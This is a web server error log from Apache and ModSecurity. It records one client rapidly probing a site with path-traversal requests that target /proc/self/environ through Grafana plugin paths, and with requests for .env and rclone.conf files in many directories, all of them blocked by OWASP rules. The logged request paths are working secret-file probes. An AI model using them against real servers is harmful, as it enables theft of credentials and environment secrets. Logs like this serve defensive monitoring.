[Sun Oct 25 13:42:15.945745 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_d_VVegKXGA0pTecXmQAAACM"]
[Sun Oct 25 13:42:16.283890 2026] [core:error] [pid 2873143:tid 2873143] [client 34.85.93.218:50744] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 13:42:16.507597 2026] [core:error] [pid 2873157:tid 2873157] [client 34.85.93.218:51038] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 13:42:16.529491 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4_eCjnAS4eJh-ada2MygAAAA0"]
[Sun Oct 25 13:42:16.529730 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4_eCjnAS4eJh-ada2MygAAAA0"]
[Sun Oct 25 13:42:16.529980 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4_eCjnAS4eJh-ada2MygAAAA0"]
[Sun Oct 25 13:42:16.540260 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4_eOg9pzNQjEGi_V9riwAAACY"]
[Sun Oct 25 13:42:16.540524 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4_eOg9pzNQjEGi_V9riwAAACY"]
[Sun Oct 25 13:42:16.540800 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4_eOg9pzNQjEGi_V9riwAAACY"]
[Sun Oct 25 13:42:16.549845 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4_eJkDGkILNr0EMn3BaAAAACw"]
[Sun Oct 25 13:42:16.549999 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4_eJkDGkILNr0EMn3BaAAAACw"]
[Sun Oct 25 13:42:16.550246 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4_eJkDGkILNr0EMn3BaAAAACw"]
[Sun Oct 25 13:42:16.579737 2026] [core:error] [pid 2867876:tid 2867876] [client 34.85.93.218:50996] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 13:42:16.581353 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4_ePVVegKXGA0pTecXmgAAACM"]
[Sun Oct 25 13:42:16.581502 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4_ePVVegKXGA0pTecXmgAAACM"]
[Sun Oct 25 13:42:16.581766 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4_ePVVegKXGA0pTecXmgAAACM"]
[Sun Oct 25 13:42:17.088860 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4_ed0xbXd9S994rNKOEgAAABo"]
[Sun Oct 25 13:42:17.089130 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4_ed0xbXd9S994rNKOEgAAABo"]
[Sun Oct 25 13:42:17.089493 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4_ed0xbXd9S994rNKOEgAAABo"]
[Sun Oct 25 13:42:17.203599 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjAAAACY"]
[Sun Oct 25 13:42:17.203855 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjAAAACY"]
[Sun Oct 25 13:42:17.204198 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjAAAACY"]
[Sun Oct 25 13:42:17.212672 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ4gAAACE"]
[Sun Oct 25 13:42:17.212905 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ4gAAACE"]
[Sun Oct 25 13:42:17.213207 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ4gAAACE"]
[Sun Oct 25 13:42:17.358145 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4_eZkDGkILNr0EMn3BaQAAACw"]
[Sun Oct 25 13:42:17.358382 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4_eZkDGkILNr0EMn3BaQAAACw"]
[Sun Oct 25 13:42:17.358726 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4_eZkDGkILNr0EMn3BaQAAACw"]
[Sun Oct 25 13:42:17.387889 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4_eSjnAS4eJh-ada2MywAAAA0"]
[Sun Oct 25 13:42:17.388138 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4_eSjnAS4eJh-ada2MywAAAA0"]
[Sun Oct 25 13:42:17.388499 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4_eSjnAS4eJh-ada2MywAAAA0"]
[Sun Oct 25 13:42:17.390750 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4_eZour3YxBmLR_JFxMAAAABU"]
[Sun Oct 25 13:42:17.390916 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4_eZour3YxBmLR_JFxMAAAABU"]
[Sun Oct 25 13:42:17.391173 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4_eZour3YxBmLR_JFxMAAAABU"]
[Sun Oct 25 13:42:17.431072 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjQAAACY"]
[Sun Oct 25 13:42:17.431296 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjQAAACY"]
[Sun Oct 25 13:42:17.431625 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4_eeg9pzNQjEGi_V9rjQAAACY"]
[Sun Oct 25 13:42:17.453581 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ4wAAACE"]
[Sun Oct 25 13:42:17.453805 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ4wAAACE"]
[Sun Oct 25 13:42:17.454119 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4_eXad5AfzdkHmtxKJ4wAAACE"]
[Sun Oct 25 13:42:17.455044 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4_eWROfIjgFWURimb5vgAAABw"]
